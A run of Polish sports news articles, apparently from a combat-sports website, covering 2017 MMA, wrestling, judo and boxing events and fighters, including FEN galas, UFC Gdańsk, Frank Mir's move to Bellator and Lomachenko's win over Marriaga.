Wrocław jest przyzwyczajony do roli gospodarza wielkich gal Fight Exclusive Night. Październikowe wydarzenie będzie już siódmym zorganizowanym przez federację. Tym razem zestawienie karty walk ma być najlepsze w czteroletniej historii federacji. Zobaczymy aż 10 pojedynków, z czego 7 odbędzie się w MMA. Pozostałe 3 będą to już formuła K-1, co samo w sobie generuje znakomite emocje. W akcji zobaczymy wielu byłych i – kto wie – być może przyszłych mistrzów federacji, którzy w stolicy Dolnego Śląska tłumnie zasiądą w Hali Orbita i będą z zapartym tchem oklaskiwać współczesnych gladiatorów.
Źródło: materiały prasowe
Na piłkarskim rynku transferowym istne szaleństwo. 222 miliony euro kosztował Paris Saint-Germain Brazylijczyk Neymar. Z kolei Barcelona oferuje astronomiczne kwoty za Coutinho i Dembele. Ale czy tylko na piłkarskim rynku musi być ciekawie? Otóż nie! W MMA jest równie gorąco. Mówi się, że przejście Franka Mira z UFC do Bellatora to transfer roku.
O jakości widowiska decydują gwiazdy. W MMA niepodważalną pozycję lidera wśród organizacji dzierży UFC, która jest celem każdego fightera. Jednak Belltora stara się powiększać grono gwiazd. W ostatnim czasie organizacja dokonała kilku ciekawych „transferów”.
Hit
Frank Mir znalazł się na ustach wszystkich. A to za sprawą zakończenia długoletniej przygody z UFC i związania się z umową z Bellatorem. Niektórzy powiedzą, że najlepsze lata już dawno za Amerykaninem, jednak jego nazwisko nadal wiele znaczy w mieszanych sztukach walki i z pewnością to dobry ruch ze strony założonej w 2008 roku organizacji.
Frank Mir zapisał się w historii UFC jako mistrz wagi ciężkiej. Ponad… trzynaście lat temu (czerwiec 2004 roku) po upływie pięćdziesięciu sekund pokonał Tima Sylvię. Mir założył rywalowi dźwignię prostą na staw łokciowy, co w efekcie doprowadziło do pęknięcia kości promieniowej. Kolejne starcie jednak przegrał. Z kolei cztery lata później zdobył tymczasowy pas wygrywając z Antonio Rodrigo Nogueirą. To były piękne chwile dla Franka Mira, który stał się jedną z gwiazd UFC. Jednak wraz z upływem czasu jego pozycja w hierarchii wagi ciężkiej spadła. Cztery przegrane walki w latach 2012-2014 sprawiły, że wieszczono rychły koniec kariery Amerykanina. Jednak dwie wygrane walki, z Antonio Silvą i Toddem Duffem, dały nadzieję. Okazało się, że był to chwilowy przebłysk formy. Mir przegrał dwa kolejne starcia, a po pojedynku z Markiem Huntem zadeklarował, że chce pożegnać się z UFC. Dodatkowo przyłapano go na stosowaniu niedozwolonych środków i zawieszono na dwa lata.
Nad głową fightera zebrały się czarne chmury. Okazuje się jednak, że kibice będą mogli zobaczyć go jeszcze w oktagonie. 38-letni Mir podpisał umowę z Bellatorem i nie ukrywa zadowolenia z tego faktu. Porozumienie pozwala zawodnikowi na występy na galach innych organizacji.
Są i inni
Nowym zawodnikiem Bellatora został występujący w wadze piórkowej Sam Sicilia. 31-latek walczył ostatnio dla UFC, ale przegrał trzy walki z rzędu i podziękowano mu za współpracę. Sicilia występował w amerykańskiej organizacji przez pięć lat. W tym czasie stoczył dwanaście walk, z których pięć wygrał.
To nie pierwsze tegoroczne „ruchy transferowe” z UFC do Bellatora. W marcu na zmianę barw zdecydował się Lorenz Larkin, który uchodzi za jednego z najbardziej utalentowanych i technicznych stójkowiczów w MMA. W debiucie w Bellatorze 30-latek musiał uznać wyższość Douglasa Limy. 23 września rywalem Larkina będzie Paul Daley.
W lipcu wiele mówiło się o przejściu Gegarda Mousasiego do Belattora. 32-letni Holender wygrał pięć walk z rzędu w UFC i może pochwalić się łącznie 42 triumfami przy sześciu porażkach. Podczas październikowej gali Bellatora 185 będzie miał okazję sprawdzić umiejętności Aleksandra Shlemenko.
Fot. ufc.com
KM
Reprezentacja Polski w zapasach ruszyła do stolicy Francji, gdzie w dniach 21-26 odbędą się mistrzostwa świata. Cel jest oczywisty: przywieźć medal. Jako ostatnia tej sztuki dokonała Iwona Matkowska (48kg), która w 2014 roku w Taszkiencie sięgnęła po srebro.
Na początku maja Polacy rywalizowali w mistrzostwach Europy w Nowym Sadzie. W Serbii biało-czerwoni wywalczyli dwa medale. Powtórka w Paryżu mile widziana.
Bez Michalik
Dużym osłabieniem kadry jest brak Moniki Michalik (63kg). Zawodniczki, która w ostatnim czasie dodała blasku i radości polskim zapasom. To zawodniczka z Poznania stanęła w Rio de Janeiro na trzecim stopniu podium Igrzysk Olimpijskich, a w maju wywalczyła mistrzostwo Europy. Jednak organizm ma swoje ograniczenia. 37-letnia zapaśniczka postanowiła zrezygnować ze startu w Paryżu i odpocząć. Snuto domysły o zakończeniu kariery przez zawodniczkę. Gdzieniegdzie słychać głosy, że Michalik niebawem zaprezentuje się w rywalizacji na zasadach MMA.
W Paryżu zabraknie Moniki Michalik, będzie za to Magomedmurad Gadżijew (70kg). 29-letni zapaśnik urodzony w Gurbuki w maju sięgnął po srebro mistrzostw Europy w stylu wolnym i jest mocnym punktem naszej kadry. Z tym, że w swojej kolekcji nie ma jeszcze medalu mistrzostw świata. Dwa lata temu w Las Vegas Gadżijew był siódmy, ale startował wtedy w kategorii do 65kg.
Rok temu Robert Baran (125kg) rywalizował w Igrzyskach Olimpijskich w Rio de Janeiro. W ćwierćfinale Polak przegrał z Tervelem Dlagnevem. Kilka miesięcy wcześniej zdobył srebro mistrzostw Europy. A teraz w Paryżu przyjdzie mu zadebiutować w światowym czempionacie. Ale nie będzie jedyny. Smak rywalizacji w mistrzostwach świata poznają: Dawid Klimek (75kg), Paula Kozłow (55kg), Jowita Wrzesień (58kg), Natalia Kubaty (63kg), Andrzej Sokalski (74kg), Mateusz Filipczak (97kg).
Przywieźć medal
Medal w Paryżu byłby sukcesem polskich zapasów. W mistrzostwach Europy nie mamy z tym problemu, jednak na poziomie światowym ogarnęła nas niemoc. Rok temu w Budapeszcie (zmagania w kategoriach nieobecnych na igrzyskach) na ósmych miejscach uplasowali się: Katarzyna Madrowska (60kg), Dawid Kareciński (71kg) i Edgar Babayan (80kg).
Rywalizacja w Paryżu rozpocznie się 21 sierpnia od zmagań klasyków w kategoriach 71, 75, 85 i 98kg. Panie będą walczyły o medale w dniach 23-24 sierpnia. Następnie na placu boju zaprezentują się zapaśnicy w stylu wolnym.
Kadra Polski na mistrzostwach świata w zapasach:
Dawid Ersetic (59kg), Mateusz Bernatek (66kg), Grzegorz Wanke (71kg), Dawid Klimek (75kg), Edgar Babayan (80kg), Tadeusz Michalik (85kg), Radosław Grzybicki (98kg) – wszyscy styl klasyczny, Anna Łukasiak (48kg), Roksana Zasina (53kg), Paula Kozłow (55kg), Jowita Wrzesień (58kg), Katarzyna Mądrowska (60kg), Natalia Kubaty (63kg) oraz wolniacy: Magomedmurad Gadżyjew (65kg), Andrzej Sokalski (74kg), Zbigniew Baranowski (86kg), Mateusz Filipczak (97kg), Robert Baran (125kg).
KM
Arleta Podolak (57kg) wyruszyła do Taipei z jasnym celem. Polska judoczka chce wywalczyć medal na XXIX Letniej Uniwersjadzie, która odbędzie się w dniach 19-30 sierpnia. Oprócz Podolak, na tatami zobaczymy jedenastu naszych zawodników.
Wielkie święto sportu w stolicy Tajwanu. W imprezie weźmie udział około ośmiu tysięcy sportowców z ponad 150 krajów.
Daleka podróż
Sportowcy przyzwyczajeni są do podróży. Zdecydowaną większość czasu spędzają poza domem, często w samolotach. Odwiedzają kolejne kraje, pokonują setki kilometrów. Jednak trzeba pamiętać, że podróże są meczące i istotne jest, aby zawodnicy przed startem mieli czas na regenerację. Za kilka dni reprezentanci Polski, w tym judocy, rozpoczną rywalizację podczas uniwersjady w Taipei. – Mamy parę dni na tzw. przestawienie się. Także mam nadzieję, że długa podróż nie będzie miała większego wpływu na mój start. Dodatkowo w razie czego mamy ze sobą melatoninę, która pomaga w takich sytuacjach – wyjaśnia FighTime.pl Arleta Podolak.
O medale w stolicy Tajwanu powalczy dwunastu polskich judoków. W kadrze, która udała się do Taipei znaleźli się: Joanna Stankiewicz (48kg), Podolak, Urszula Hofman (70kg), Paula Kułaga (78kg), Anna Załęczna (+78kg), Adrian Wala (60kg), Patryk Wawrzyczek (66kg), Wiktor Mrówczyński (73kg), Jakub Kubieniec (81kg), Patryk Ciechomski (90kg), Tomasz Domański (100kg) i Kamil Grabowski (+100kg).
Tylko medal
Arleta Podolak zdążyła stęsknić się za tatami. Startowała w lutym w Paryżu, a potem dopiero w lipcu w Mińsku. Przerwa w startach 23-letniej zawodniczki była spowodowana kontuzją łokcia. – Pozostał ślad w postaci blizny, ale zdrowotnie jest bardzo dobrze. Ruchomość jest pełna i nie ma dolegliwości bólowych, a to najważniejsze – przedstawia Podolak.
23-letnia judoczka zdążyła poznać smak najważniejszych imprez. W ubiegłym roku wystąpiła w Igrzyskach Olimpijskich w Rio de Janeiro, zdobywała medale w drużynowych startach w mistrzostwach Europy i świata. Skoro ze zdrowiem wszystko w porządku, judoczka może z nadzieją przystąpić do kolejnego wyzwania, czyli rywalizacji w Taipei. Arleta Podolak mierzy wysoko. – Celem jest medal. Zadowoli mnie każdy kolor, ale wiadomo, że najbardziej ucieszy złoto – nie ukrywa polska judoczka.
W tym roku Podolak, ze względu na kontuzję, straciła mistrzostwa świata. Teraz wystąpi na uniwersjadzie, jednak w jej trakcie rozpoczną się mistrzostwa świata w Budapeszcie. Start w Taipei nie wyklucza jednak występu zawodniczki na Węgrzech. – Tak się składa ze odwiedzę i Taipei i Budapeszt. Na Węgrzech startuje w turnieju drużynowym – podkreśla 23-letnia Podolak.
KM
Za nami gala Fight Exclusive Night 18 „Summer Editon”, która odbiła się szerokim echem na północy Polski. To właśnie podczas studio pomiędzy pojedynkami Paweł Jóźwiak, czyli prezes federacji zdradził nazwiska bohaterów Freak Fightu, który będzie ozdobą gali FEN 19.
– „Arab” i „Ruby” staną naprzeciwko siebie w oktagonie podczas październikowej gali, która odbędzie się we Wrocławiu. Nasi kibice domagali się na Freak Fight’u, więc spełniamy ich życzenia. Raperzy zmierzą się w kategorii do 77 kg. Co ważne – obaj nieźle radzą sobie w klatce. Trenują, cały czas podnoszą swoje umiejętności, można powiedzieć, że są sportowcami, którzy debiutują w MMA. To nie osoby, które wyjdą do klatki bez przygotowania – zapewnia Paweł Jóźwiak, prezes FEN.
Gabriel Al-Sulwi, czyli artysta znany pod pseudonimem „Arab” to 24-latek pochodzący z Rzeszowa, któremu MMA pozwoliło wyjść w życiu „na prostą”. Sam wokalista wielokrotnie powtarzał, że był uzależniony od marihuany, a dzięki walkom nawrócił się i teraz jest lepszym człowiekiem.
Bartłomiej Brzeziński, czyli „Ruby” kojarzony jest przez wiele osób z zespołem „Ganja Mafia”. Od dłuższego czasu można obserwować na jego facebook’owym profilu, jak trenuje i spędza każdą wolną chwilę podnosząc swoje umiejętności w mieszanych sztukach walki.
Drugim pojedynkiem, który odbędzie się we Wrocławiu jest starcie pomiędzy Pawłem Biszczakiem (24-3) z Wojciechem Wierzbickim (13-3). Będzie to rewanż za pojedynek ze stycznia 2017 roku, kiedy to w Lubinie lepszy okazał się Biszczak. Pojedynek odbędzie się w formule K-1, a jego stawką będzie pas mistrzowski FEN w kategorii do 77 kg.
Gala UFC Fight Night w Gdańsku odbędzie się 21 października. Skoro najlepsza organizacja MMA na świecie zawita do Polski, to w karcie walk nie może zabraknąć naszych zawodników. Poznaliśmy kolejne nazwiska. W Ergo Arenie zaprezentują się m.in. Jan Błachowicz i Oskar Piechota. Kolejnego występu na polskiej gali nie zaliczy Daniel Omielańczuk, z którym UFC rozwiązało umowę.
W poniedziałek informowaliśmy o dwóch pierwszy walkach październikowej gali. Debiut w UFC zaliczy Adam Wieczorek, który zmierzy się z Dmitrym Smoliakovem. Z kolei Trevor Smith spotka się z Ramazanem Emeevem.
Szczęśliwa siódemka?
34-letni Jna Błachowicz czeka na zwycięstwo w UFC od ponad roku. Fighter pochodzący z Cieszyna przegrał dwie ostatnie walki – z Aleksandrem Gustafssonem i Patrickiem Cumminsem. Po raz ostatni Polak cieszył się ze zwycięstwa w kwietniu 2016 roku, kiedy w Zagrzebiu pokonał Igora Pokrajaca. Łącznie Błachowicz stoczył w UFC sześć walk, z których wygrał tylko dwie. Niewykluczone, że starcie w Gdańsku będzie dla niego tym z kategorii „ostatniej szansy”.
Rywalem Błachowicza będzie o pięć lat młodszy Devin Clark. Amerykanin ma mniejsze doświadczenie niż Polak, ale ostatnie miesiące są udane w jego wykonaniu. Debiutował w UFC rok temu i co prawda przegrał z Alexem Nicholsonem, ale dwie kolejne walki wygrał.
W czerwcu Oskar Piechota wywalczył tytuł mistrza wagi średniej organizacji Cage Warriors, a w październiku zadebiutuje w UFC. Dobre występy Polaka zostały dostrzeżone. Polak podpisał umowę w UFC i będzie mógł zaprezentować swoje umiejętności w Gdańsku. Dotychczas Piechota stoczył dziewięć walk i wszystkie wygrał przed czasem! Ostatnie dwa pojedynki zakończył po upływie zaledwie trzydziestu kilku sekund.
Rywalem 27-latka będzie Jonathan Wilson. Amerykanin przeżywa ostatnio trudne chwile, bo przegrał dwie walki z rzędu. Mimo to jest niezwykle groźny. Sześć z siedmiu zwycięskich walk zakończył przed czasem.
Niewykluczone, że w Gdańsku zobaczymy Karolinę Kowalkiewicz i Marcina Helda.
Koniec przygody
Blisko cztery lata trwała przygoda Daniela Omielańczuka z UFC. Amerykańska organizacja postanowiła rozwiązać kontrakt z polskim fighterem.
Po trzech porażkach z rzędu grunt pod nogami Omielańczuka zaczął się palić. Włodarze UFC nie zamierzali dawać szansy Polakowi. Najlepszy czas Omielańczuka w UFC to lata 2015-2016, kiedy zanotował trzy zwycięstwa z rzędu. Polak pokonał m.in Aleksieja Olejnika. Łącznie Omielańczuk stoczył w UFC dziewięć walk, z których cztery zakończyły się jego triumfem.
Fot. Facebook Jan Błachowicz
KM
Machina ruszyła. Poznaliśmy dwie pierwsze walki, które odbędą się na październikowej gali UFC Fight Night Gdańsk. Debiut w amerykańskiej organizacji zaliczy zawodnik wagi ciężkiej Adam Wieczorek.
Jesień wcale nie musi być smutna. Z pewnością polscy fani MMA już odliczają dni do gali UFC, która odbędzie się 21 października w Ergo Arenie. Wszyscy zastanawiają się, kto wejdzie do klatki. Dziś (7 sierpnia) poznaliśmy pierwsze nazwiska.
Spełni marzenia
W trójmiejskiej Ergo Arenie pierwszą walkę w UFC stoczy Adam Wieczorek. Popularny „Siwy” uchodzi za jednego z najbardziej utalentowanych polskich zawodników wagi ciężkiej. Z powodzeniem rywalizował na krajowym podwórku i zwrócił na siebie uwagę UFC. Wieczorek przegrał tylko raz, ale było to blisko sześć lat temu. Zawodnik z Chorzowa musiał uznać wyższość… Marcina Tybury, który obecnie występuje w UFC. Od tamtej pory Wieczorek wygrał siedem walk, wszystkie przed czasem.
W marcu Polak podpisał umowę z UFC i miał zadebiutować podczas lipcowej gali w Anaheim. Do walki z Dmitrym Smoliakovem nie doszło, bo rywal doznał kontuzji. – Nie spodziewałem się takiego obrotu spraw i jestem mocno rozczarowany…. – komentował Adam Wieczorek. Ale „co się odwlecze, to nie uciecze”. Panowie spotkają się 21 października w Gdańsku. Wieczorek nie ukrywał, że jego marzeniem są występy w UFC, a więc niebawem dopnie swego.
Czego Polak może spodziewać się po rywalu? 35-letni Smoliakov walczy o swoją przyszłość w UFC. Przegrał dotychczasowe dwie walki, a kolejna porażka może być bolesna w skutkach. Wcześniej Rosjanin wygrał osiem pojedynków, wszystkie przed czasem. Aż cztery walki Smoliakov zakończył przed upływem minuty walki. Wieczorek będzie musiał mieć się na baczności.
W kolejnej walce gali w trójmiejskiej Ergo Arenie zaprezentują się Trevor Smith i Ramazan Emeev. Dla 36-letniego Amerykanina będzie to dziesiąty pojedynek w UFC. Ostatnio Smith pokonał Chrisa Camozziego. Z kolei Emmev to były mistrz organizacji M-1 w wadze średniej. W Gdańsku przyjdzie mu zadebiutować w UFC. 30-latek ma za sobą cztery zwycięstwa z rzędu, ostatnio walczył w grudniu ubiegłego roku.
Co z Khalidovem?
Ostatnio pojawiły się informacje o tym, że uczestnikiem gali UFC w Gdańsku może być Mamed Khalidov. 39-letni mistrz KSW w wadze średniej zasiadł do rozmów z amerykańską organizacją. Pojawiło się nawet nazwisko potencjalnego rywala Khalidova. Miałby nim być były mistrz UFC w wadze półciężkiej UFC Lyoto Machida.
W końcu głos zabrał sam Khalidov. – Chciałabym zdementować pogłoski że mam walczyć na UFC w Gdańsku. W tym czasie mam zamiar być w Irlandii na gali KSW 40 – napisał zawodnik na swoim Facebooku.
KM
Jessica Żelazko wraz z rodzicami i młodszym bratem do Wielkiej Brytanii wyjechała w 2004 roku, miała wtedy 3 lata. W nowym środowisku odnalazła się bardzo szybko, w krótkim czasie ucząc się doskonale władać językiem angielskim. Jessica od najmłodszych lat wspólnie z bratem uczęszczała na różnego rodzaju zajęcia sportowe – akrobatyka, lekkoatletyka, taniec, a nawet piłka nożna. W wieku 7 lat, za małą namową taty, rozpoczęła treningi bokserskie w lokalnym klubie – Crewe ABC.
Nie przeszkadzało jej to, że była tam jedyną dziewczyną, a boks z każdym kolejnym dniem coraz bardziej jej się podobał i nawet przez chwilę nie pomyślała, że nie jest to sport dla niej. W kolejnych latach, gdy treningi bokserskie zaczęły odgrywać znaczącą rolę w jej nastoletnim życiu, postanowiła zrezygnować z zajęć tanecznych oraz treningów lekkoatletycznych, w których odnosiła liczne sukcesy i skoncentrować się wyłącznie na boksie.
Pomimo przegranych dwóch pierwszych walk, Jessica nie załamała się i nie zrezygnowała ze sportu, w którym mimo początkowych niepowodzeń, czuła się bardzo dobrze. Po wspomnianych dwóch porażkach wspólnie z rodzicami zdecydowała się na zmianę klubu i zaczęła uczęszczać na zajęcia bokserskie w miejscowości Macclesfield, do której musiała dojeżdżać około 30 kilometrów 3 razy w tygodniu. Od tamtej pory Jessica zaczęła wygrywać kolejne swoje walki, co jeszcze bardziej zmotywowało ją do cięższych treningów i utwierdziło w przekonaniu, że właśnie to chce robić w przyszłości – boksować.
Jej zwycięstwa i postawa na treningach nie uszły uwadze trenerom angielskiej kadry narodowej i po testach sprawnościowych, w których wypadła najlepiej z całej grupy, w sierpniu 2016 roku zakwalifikowała się do „England Talent Programme” co oznaczało, że będzie trenować pod okiem najlepszych szkoleniowców brytyjskiej kadry w „English Institute of Sport” w Sheffield.
Na początku 2017 roku Jessica Żelazko wywalczyła wicemistrzostwo Anglii, a dwa dni później pokonała mistrzynię Irlandii. Po tych sukcesach w kadrze, awansowała na poziom „Challenge”, czyli uzyskała możliwość reprezentowania Anglii na międzynarodowych turniejach. Jednak w międzyczasie, Jessica coraz częściej zastanawiała się, czy nie mogłaby występować, jako reprezentantka kraju, z którego pochodzi, czyli z Polski. Kilka lat wcześniej była już dwukrotnie w Polsce na turniejach bokserskich, które oczywiście wygrała, a w jednym z nich otrzymała również nagrodę dla najlepszego zawodnika turnieju w swojej kategorii. Miała również okazję trenować gościnie w kilku klubach w Polsce, głównie w Warszawie.
Dzięki Fundacji im. Feliksa Stamma poznała trenera Jacka Dymowskiego z Żoliborskiej Szkoły Boksu, z którym wspólnie zdecydowali się wystartować w Ogólnopolskiej Olimpiadzie Młodzieży. Jessica kolejny raz, dla boksu musiała poświęcić „życie prywatne”, ponieważ w tym samym czasie w Anglii odbywał się jej bal z okazji zakończenia szkoły. Jest to ważna uroczystość dla absolwentów szkół średnich, podobnie jak bal maturalny w Polsce. Jednak Jessica postanowiła wystąpić na OOM i była to słuszna decyzja. W Pułtusku wywalczyła mistrzostwo Polski oraz nagrodę dla najlepszej zawodniczki turnieju. Po tym sukcesie otrzymała powołanie do Młodzieżowej Kadry Polski i… stanęła przed kolejną trudną, życiową decyzją – który kraj reprezentować w przyszłości? Czy wybrać starty jako zawodniczka Wielkiej Brytanii i reprezentować kraj, w którym się wychowała, w którym ma przyjaciół, szkołę, dom i w którym mieszkają jej rodzice i brat, czy może reprezentować kraj, w którym się urodziła.
O dziwo nie zastanawiała się zbyt długo. Po rozmowie z rodzicami wspólnie zdecydowali o szybkim powrocie do Polski, by Jessica mogła w ringu reprezentować Biało-Czerwonych i dla nich zdobywać medale. Jessica Żelazko na pewno będzie reprezentować naszą Ojczyznę już w listopadzie tego roku na Mistrzostwach Świata w Indiach, a trener Jacek Dymowski nie ukrywa, że ich dalszym celem jest Olimpiada w Tokio w 2020 roku.
Nie pozostaje nam nic innego jak tylko pogratulować Polskiej Kadrze, nowej,wspaniałej zawodniczki, a samej zawodniczce życzyć sukcesów w biało-czerwonych barwach i podziękować za mądrą i dojrzałą decyzję.
Obecnie Jessica i jej rodzina, muszą jednak stoczyć kolejną walkę, a mianowicie zorganizować przeprowadzkę z Wielkiej Brytanii do Polski, praktycznie z dnia na dzień. Dlatego też, poszukiwane są firmy oraz sponsorzy prywatni, którzy zechcieliby wspomóc tę młodą zawodniczkę, by jak najszybciej mogła zamieszkać w swojej Ojczyźnie i skupić się na treningach i oczywiście nauce w nowej szkole. Zwracamy się również do wszystkich czytelników o wsparcie Jessici w jej dążeniu do celu i trzymanie za nią kciuków, bo z pewnością w najbliższym czasie będzie zdobywać medale dla na nas wszystkich, dla Polski.
Wasyl Łomaczenko nie zwalnia tempa. 29-letni Ukrainiec pokonał w Los Angeles Miguela Marriagę i tym samym po raz szósty z rzędu wygrał przed czasem.
Od ponad roku w posiadaniu Ukraińca znajduje się pas mistrzowski WBO w wadze super piórkowej. Łomaczenko ponownie potwierdził swoją dominację i udowodnił, że określanie go jednym z najlepszych bokserów na świecie nie jest na wyrost.
Zawodowy amator
Można zaryzykować stwierdzenie, że 29-latek nadal buduje pozycję w zawodowym boksie. Choć w swoim dorobku zapisał pas WBO w kategorii piórkowej i super piórkowej, to stoczył zaledwie dziesięć walk. Ale pierwszy pojedynek zawodowy stoczył dopiero w październiku 2013 roku. W ciągu 3,5 roku zbudował silną pozycję w świecie boksu. Łomaczenko jest określany jako jeden z najlepszych pięściarzy świata bez podziału na kategorie wagowe.
Już na amatorstwie zawodnik z Białogrodu imponował umiejętnościami. Pierwszy sukces odniósł w wieku 19 lat zdobywając w Chicago (2007) srebrny medal mistrzostw świata w kategorii piórkowej. To był dopiero początek lawiny sukcesów w wykonaniu Łomaczenki. Na swoim koncie Ukrainiec zapisał dwa złote medale igrzysk olimpijskich w Pekinie i w Londynie, ale w 2012 roku rywalizował już w kategorii lekkiej. Zdobywał również mistrzostwo świata (dwukrotnie) i mistrzostwo Europy. Łącznie stoczył blisko 400 walk amatorskich.
Zdobyte doświadczenie Łomaczenko świetnie wykorzystuje na zawodowstwie. W Los Angeles Ukrainiec zdał kolejny test. Jego rywalem był 30-letni Miguel Marriaga, który za wszelką cenę chciał zdobyć pas mistrzowski. Blisko cztery miesiące temu rywalizował z Oscarem Valdez o tytuł w wadze piórkowej, ale przegrał na punkty. Kolumbijczyk postanowił spróbować swoich sił w wyższej kategorii, lecz ponownie musiał obejść się smakiem.
Bez litości dla rywala
Łomaczenko walkę z Marriagą zaczął w swoim stylu. Ruszył do przodu, niepokoił rywala, delikatnie budował swoją przewagę. Po raz pierwszy odpalił w trzeciej rundzie, gdy Kolumbijczyk otrzymał dwa lewe proste i padł na deski. O tym, że Łomaczenko potrafi robić show, nikogo nie trzeba przekonywać. Ukrainiec stanął w narożniku i zaprosił rywala do walki. Reakcja publiczności była niezwykle entuzjastyczna.
Nie zabrakło krwi, która pojawiła się na twarzy… mistrza. W czwartej rundzie zawodnicy przypadkowo zderzyli się głowami. Z każdą odsłoną sytuacji Marriagi coraz bardziej komplikowała się. W siódmej rundzie maszyna ruszyła. Łomaczenko odpalał kolejne ciosy, obijał dół, dodawał podbródkowe, Kolumbijczyk nie mógł wytrzymać tego naporu. Marriaga padł na deski, wstał i udał się do narożnika, który zdecydował o poddaniu walki.
Na konto czempiona WBO wpłynie 750 tysięcy dolarów, z kolei pokonany musi zadowolić się 50 tysiącami.
Fot. Facebook Wasyl Łomaczenko
KM
Marcin Prachnio (MMA) odniósł trzynaste zwycięstwo w karierze. Na gali One Championship: Kings & Conquerors w Makau Polak znokautował Gilberto Galvao. Szczęścia nie miał Michał Pasternak. 33-latek zanotował trzecią porażkę podczas przygody z organizacją One Championship.
29-letni Prachnio, rywalizujący w kategorii półciężkiej, kontynuuje fantastyczną passę zwycięstw. W Makau wygrał ósmy pojedynek z rzędu.
Dziewiąty raz
Marcin Prachnio jest szybki i skuteczny jak kobra. Nie kalkuluje, nie czeka na rywala, lecz rusza do przodu i dopada do swojej ofiary, aby zadać decydujący cios. W Makau Polak spotkał się z doświadczonym Brazylijczykiem Gilberto Galvao. 35-latek z niejednego pieca chleb jadł i na swoim koncie zapisał 29 zwycięstw. Jednak sześć lat młodszy Prachnio pokazał Brazylijczykowi, czym jest skuteczność.
Prachnio zdecydowanie przystąpił do rywalizacji z Galvao. Nie minęło półtorej minuty i wszystko było jasne. Potężny prawy powalił Brazylijczyka na deski, Polak dobił rywala uderzeniami w parterze. Sędzia dostrzegł, że 35-latek nie jest w stanie przeciwstawić się naporowi przeciwnika i przerwał starcie. Prachnio ponownie mógł wznieść ręce w geście triumfu.
Co warto podkreślić, dla 29-latka było to dziewiąte zwycięstwo odniesione w pierwszej rundzie. Dotychczas w singapurskiej organizacji One Championship Prachnio stoczył cztery walki, trzy z nich zakończył w premierowej odsłonie.
Kolejna porażka Pasternaka
Na gali w Makau zaprezentował się również Michał Pasternak. Rywalem Polaka był Leandro Ataides, który ponad rok temu napsuł sporo krwi Marcinowi Prachnio. Jednak Brazylijczyk nie ma najlepszych wspomnień z tamtego spotkania. W Makau ponownie udowodnił, że jest trudnym przeciwnikiem, jednak tym razem Ataides miał powody do radości. Po upływie trzech rund 30-latek wygrał na punkty. Z kolei dla Pasternak poniósł trzecią porażkę podczas przygody z organizacją One Championship.
33-latek był pierwszym Polakiem, który podpisał kontrakt z singapurską organizacją. Pasternak zaliczył udany debiut, wygrywając w grudniu 2014 roku z Rafaelem Silvą. Pół roku później Polak dostał szansę rywalizacji o pas mistrzowski. Roger Gracie zapiął trójkąt rękami i wygrał przez poddanie. Od tamtej pory Pasternak zanotował tylko jedno zwycięstwo. Na gali PLMMA 73 pokonał Sylwestra Borysa.
Fot. sherdog
KM